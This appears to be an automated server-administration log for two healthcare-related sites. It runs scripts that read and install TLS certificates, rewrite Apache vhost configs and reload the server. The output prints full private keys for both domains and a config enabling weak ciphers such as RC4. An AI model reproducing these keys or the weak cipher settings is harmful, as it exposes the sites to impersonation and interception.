</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:01:08:
PUT: /tmp/pkp614986
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:01:08:
chmod 755 /tmp/pkp614986; /tmp/pkp614986; rm /tmp/pkp614986
2025-11-10 06:01:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt 5382
71:2a:e8:8a:37:6e:70:c3:7f:b5:28:8c:42:0d:5e:1d
-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBjU8/WDMLyEjm0Ra0fBMlkqvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjM3WhcNMjYwMjA4MDUwMjM2WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAqdN0upHC54gcTNnsIPb4aYMxDwAED3ORKv3uiv37CASHrcZY1Z5RWii7rVMu
DgfeCIqKVSBsTSA0ToidYuyT1nT8zNrsdts9JnecaacaedSvPP9HnGz8LFkl8PQi
Bilx5hIpQ666Aco8p+78bEFS8GGre3+U/7EmpIZWTsKl4bjfTU46QvHXj0+R6uxY
7vWAG+oRjpiVv4aSbJrGLOJvcj2OnO51noxDfdco/5SX1pZ0+Fqpd0sepJOMk0//
qIDX/G781SvmjmokF4zGGCGlkD5/NEziXsqa8eQ9SvA/zhJnOGOXUxyFup8Useis
L6+plpxzuPwMGbTtglY+FTq9IwIDAQABo4ICNzCCAjMwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBROzjmPRHJJSZkRDIBGg+buVKUURTAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDguY3JsMIIBBQYK
KwYBBAHWeQIEAgSB9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp
6ynd+MMAAAGabFqWZQAABAMASDBGAiEAse8s6YLzYawtH9DSzkz2tVwR8WDPH6jS
n2EI/nQ/fBkCIQC9ZDcgaAHjJOuut1y3KklxUJXI1bybszUMNd7GSlTCsAB2AMs4
9xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxalpIAAAQDAEcwRQIg
RfpPyVKmpDg1nrDFJ0rFTskrG4G0nirwre9X/2mygB0CIQD+1FwBjPXP/chFDIbb
Ygqe1iqf4R7VPHQbwKfUJHDj3zANBgkqhkiG9w0BAQsFAAOCAQEAzXKRAv9IaB01
fR+jFpCeRjc5wp9K9zJbxDwQ45zc65PCRxvQSDArgs6aFcomdLr3Ud6igk5HU22X
2bHIEgPgMoMDLEQcLsBscVPscPRBWz7hzHutV8FDXuMf6vkkoW3hDtMDtrRfeT93
6DSuF9Nkgv1XwYFKqwF/P9HIb7YD5qKSZLmIBLZNdaoZZM5PC+SGOQAm/Jydhu5e
/yhzIC59hYKLYi9GOt5eL4pOaIYI+s/cvjsSXvVA/jjHFEK51qf4p8qw11TNhymS
cknPUW0gOG3K0xVBJEgGUkhY+iqa/yXVzbrob8AAkc/J3X2ER/eRk1CmCN9CP2H6
Fz4pjOATKg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp03S6kcLniBxM
2ewg9vhpgzEPAAQPc5Eq/e6K/fsIBIetxljVnlFaKLutUy4OB94IiopVIGxNIDRO
iJ1i7JPWdPzM2ux22z0md5xppxp51K88/0ecbPwsWSXw9CIGKXHmEilDrroByjyn
7vxsQVLwYat7f5T/sSakhlZOwqXhuN9NTjpC8dePT5Hq7Fju9YAb6hGOmJW/hpJs
msYs4m9yPY6c7nWejEN91yj/lJfWlnT4Wql3Sx6kk4yTT/+ogNf8bvzVK+aOaiQX
jMYYIaWQPn80TOJeyprx5D1K8D/OEmc4Y5dTHIW6nxSx6Kwvr6mWnHO4/AwZtO2C
Vj4VOr0jAgMBAAECggEAciY6+MjO/Del5hY4vHOkx68yA4YcNJKWihJDC9Pprxr0
Y97FiViwD+z/MWKOu0mYeZ89mjh/81tpLTxwpbSlLmpWHhAtDzsQIFIXpYB3sFpA
K7zfUoqC+gA2G37Ne9zRvTaJ2/+O8XMRUEO4Eb/a0s6jqBA6g598fOv7CVeWjmBP
JqGljP8sgg/CBN2NNvGT5hyTL61huY6OpMN5a8EATpxricXvn9M0IeHLM9QapF9k
WKQsa0KuHS/bxaN2rZmL1KbO3EQeGI7//yewFiWOrMePwKsLHTrsfKgwA+I81PFZ
FA6j2wYP+YtGqIWypt5J6DW+c1x6o6srNCY9TPFjKQKBgQDiHfd0gH7H9mYJtjOi
mh00mKeGM898LrUjVAG/Ze3lygRBEH3r7gHbjSUyxSaO7AFH49qAAdHrisnjMX4r
gd1KETv5lNkEquh7jn351s/KPC/j7ZfuRIBvpc/6l987p41kydRGQs9Sw9nSDW0G
WIXdBOXTsxhtYyqBUYbHCbu0VQKBgQDARQpCCJnca5xHsICD3KjbZ+uOkSAE8nFk
kdddYkICfyxiGkDpJlntW+BHT81zQdjhjekL7C7qYIfXaWP9lJKci4WPsjAC+CXu
3VZUXbF8MWnlPLTfmSu5f/iv6GKQZyFTXZMZtK9Bb83XuAlUcSw5SW1E6RmCbwaz
fUxPSCzjlwKBgQDa5G2P73BL/UCMOEDGMPEC4KCT7wX1znV17LYAZhklsSnrHp73
zSEpO/r9qhMImnkm8fGsp5Zisal88YWVcpMZR5PKqYho11ZVffx/5q6itR8bQ/8n
HlNDQb4TdgAZjLr5DdUb60MueQAdMvgPA5Ua/8nI5YBJLI2SQKz7c3WtPQKBgFZ2
tcY8V/Tn77/Nf/3MnaMNeMEEQoH3BUdUzqUQKt80kaEMbWRr+sTjLFjlal8KnZ3R
U5wo+nAsOOqGWpEO31/G3qlgWHb9YRGqN8h42fgfwJ92TWDAYQlqo0t4FdsahcIX
sq88shObU9ZOzONMgbbBboIu0Wn2w+yzzD1bF9TBAoGBAJWlUAL9ka5st/XKcyt2
iL1yPP3cEvzz4gqcpku0TdnjF4rmCfYKD4OOsPWWGYWtDFObXIfpY8u4ClqG748g
zT+Hb1y0BI6AhobiIIo1p2TW570twGDy7w7wKPW1oO+6eDhYzXeMhrkL8cAIHDWJ
pbNQFr/1CUxIl63AS4WUmJ1X
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-10 06:01:08: Establishing a connection
2025-11-10 06:01:09: Establishing a connection
2025-11-10 06:01:09:
PUT: /tmp/pkp420267
#!/bin/bash
if [ -d "/var/www/patientappsinc_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:01:09:
chmod 755 /tmp/pkp420267; /tmp/pkp420267; rm /tmp/pkp420267
2025-11-10 06:01:09:
0
2025-11-10 06:01:41: Establishing a connection
2025-11-10 06:01:41:
PUT: /tmp/pkp555187
#!/bin/bash
temp_file=$(mktemp)
TARGET=7CDF9F2FFCE67F19977AD2F2DDA28042.crt
cat > $temp_file <<'endmsg'
5d:62:50:20:c9:43:cd:a6:3f:19:21:b2:8a:f4:5b:ea
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgISBut27qscMTzTMsDHjtTdnn0zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMzEwWhcNMjYwMjA4MDUwMzA5WjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC32Pbmw4oMBOlkoMcPN8R2SLzmI3u7fY+64O+aTUC/VVFwQ3R5X13oXsZh
nNUxRi+XnA2WomSxFZkA97+tv3oZszFsLoTbcDLGIJ0AR23MQwTkY0VuQY/9KM55
tyzRASUq3jaaCfVNDNJUuaBhKkOfa3kknZOHakVWJaqTJgAXviD+YT+L+Vja10Fx
2DjyJBzc9VAfRkvfC2mt9/nJ6D7wxirJSuja9FJoJ/Pofrix3Ov5fNzbz2MnejVN
sbebO39nOtw6jLVI4j/IuKK8/aWcHlH+2OKY10MmUNxKEfJZ/Pq9weC3Ti+Ho4bv
opF4xwyCxVZDcTs298/qlKDs991pAgMBAAGjggJcMIICWDAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFIwLwPVZMwMrsEvEZp9s2VgjBZFgMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzUyLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
mmxbGZUAAAQDAEcwRQIhAKL8OfPcSsScBMUQHncrj97fMbwW0eyFYlUHyCbouK3o
AiAoj9E6YxZmn3gSCGHG2+w+zu6Ng6Fnj0K3Ll5pOV+lqgB2AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxbGccAAAQDAEcwRQIhAJCXMDvKTspb
K5XiXzOb/tjIfmFJsNT3es1t2udXhgMZAiA6HOrj5iUbk4vKJEGkQh31H80TXhYS
c5ZZByeKRycU6jANBgkqhkiG9w0BAQsFAAOCAQEA06PufTRNhl+7FyMvgXETLdCc
NSn/eBYtP0QHw2ME5nEWBLVE5PBfe+qAn8yrIZSRSDMnpkhXYESoEJkZ6Ib4HL7r
B8WsbIPGw3OBnK6qP8MtLKsQXhYy922chkppd3FMhLNBX33Bj10qoi9LT/yxhH3S
IXS62MR6SO/O7/qZEg06Q5T2SfZHcq+KIM+1PSIa0WYSL3VpLtSbg/6mDZnzdIGK
yE08G+uqIhrxam8T2ifacCufp+d0aOTAoB2orxQbSICd4ZIYiQfONOYSvBHlW4WP
XlHRMkXPmgbaENpAWXHtP7Yv27DMxMhU595ZPLx6anarixNVIsYkdggOlm46MA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC32Pbmw4oMBOlk
oMcPN8R2SLzmI3u7fY+64O+aTUC/VVFwQ3R5X13oXsZhnNUxRi+XnA2WomSxFZkA
97+tv3oZszFsLoTbcDLGIJ0AR23MQwTkY0VuQY/9KM55tyzRASUq3jaaCfVNDNJU
uaBhKkOfa3kknZOHakVWJaqTJgAXviD+YT+L+Vja10Fx2DjyJBzc9VAfRkvfC2mt
9/nJ6D7wxirJSuja9FJoJ/Pofrix3Ov5fNzbz2MnejVNsbebO39nOtw6jLVI4j/I
uKK8/aWcHlH+2OKY10MmUNxKEfJZ/Pq9weC3Ti+Ho4bvopF4xwyCxVZDcTs298/q
lKDs991pAgMBAAECggEBAKSagC0Kg+3Q8/phrPgmESNqap6OxHiQqgBC5qO7aS4l
wF2IN5930Ed9m5bH6WVNlsziLpRg31BhqvTf3OE+X57k/moCmHc0VHFpv8gBLABH
PPkTHJXj43xhbcQySdDzeoiQHkj6g4Mx6Jts+3gjdBonCnbLEsyaTGweG0PWMR0P
XDWQCCog/s3zGPvNEvlbHLHM94laAZZYdUa+h7MeqPiADFEdd4dxFCFgEAhzFVN7
sJYCSWhhS8MVpXnz1pe5ECFCKS6MRKh7yej3I15ospk96ZgxbefojqiOHNL51pV/
DHUW2gOLVscouE6pbbxGqkwWnSbrbv0AJe/0G8QRjYECgYEA3psNNwK9r5IHx0lF
0GhVmCbrvi2zDIGx1qLCk797VM5LOija6jAdcOuYsL4ENbx4tgviZ4Rhgiyev85j
ZZGfY55LiCJAL8amvXybJsQTRU+j0+dU9bpLMtDDn7W5K5l5WCc9bs62CRy+ofM7
4VtJx9KNC4L0TMgEVKg9Ig9pBJkCgYEA021x13Y6Sqdv54ySrOuGnj0VLIFt/kYD
Qbb1RW8mP7LUetmyWwZ5co8EoEfHcWd+U5RaS9SNnjnzhsanqBIi54MRD23TnMpB
0OMBNz3e0IVMWgBy4Q2e1bJeTJu3lniW7Yu451Q+AMo+D4xk9WGhl08ey1qU+tth
gAyT9RkxUVECgYEAlmBH3RGM8j3D42wsLU1OBSrFtgNJIPm8GTJ6HzULK47wYqmW
uP0n5lBBJaQ3U9Wt9cyxdRyIgleCJjBWFRb6hWE5xQzeL2gS246BgP6Txg62rT9o
tVbT1dARVqJ8JGfZASQA7AnYDu/MF7soiGQSw1oIze34+qVjx4yfP5MJboECgYB5
5Od1aVxCHjaOMKV/vGpoYJ8MgbKAnqzR/kF6PpK2tst56HjDsf/i5EGuhrOd1iUm
2qkUfv8G8jJMyctvQsWM5Cu50X/nLVS0savJxYnofnF+kjOpPMkOOz/SuxQlVHDv
k1aPSCpXGkKdhDvQnPEk4yDF7PtnhYO454eGD3g3gQKBgC0QdggmI5LLZvlnFP6/
F3kcR8m/RJZRt/7UBi1qRBN647fOilP5OTcttMYY1N4EGPm6WSoQXC8wE1+ZKQPE
lARaXVjz4z8og+1WSa3jZHW7SSayDM7ZaqQHOLAk51A0Na+jGmliDF9rLVQSccbn
Z1vA9j6nUUO+FppnkgBpb9nQ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-10 06:01:41:
chmod 755 /tmp/pkp555187; /tmp/pkp555187; rm /tmp/pkp555187
2025-11-10 06:01:41:
dir=/etc/ssl/certs
2025-11-10 06:01:41:
PUT: /tmp/pkp925463
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientappsinc_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-10 06:01:41:
chmod 755 /tmp/pkp925463; /tmp/pkp925463; rm /tmp/pkp925463
2025-11-10 06:01:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 46
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
2025-11-10 06:01:41:
PUT: /tmp/pkp171049
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_www_com.conf
TARGET=/etc/apache2/sites-enabled/patientappsinc_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientappsinc_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf= 1'
fi
2025-11-10 06:01:41:
chmod 755 /tmp/pkp171049; /tmp/pkp171049; rm /tmp/pkp171049
2025-11-10 06:01:41:
2025-11-10 06:01:41:
PUT: /tmp/pkp632217
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-10 06:01:41:
chmod 755 /tmp/pkp632217; /tmp/pkp632217; rm /tmp/pkp632217
2025-11-10 06:01:42:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:01:42: Establishing a connection
2025-11-10 06:01:42:
PUT: /tmp/pkp871850
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-10 06:01:42:
chmod 755 /tmp/pkp871850; /tmp/pkp871850; rm /tmp/pkp871850
2025-11-10 06:01:42:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
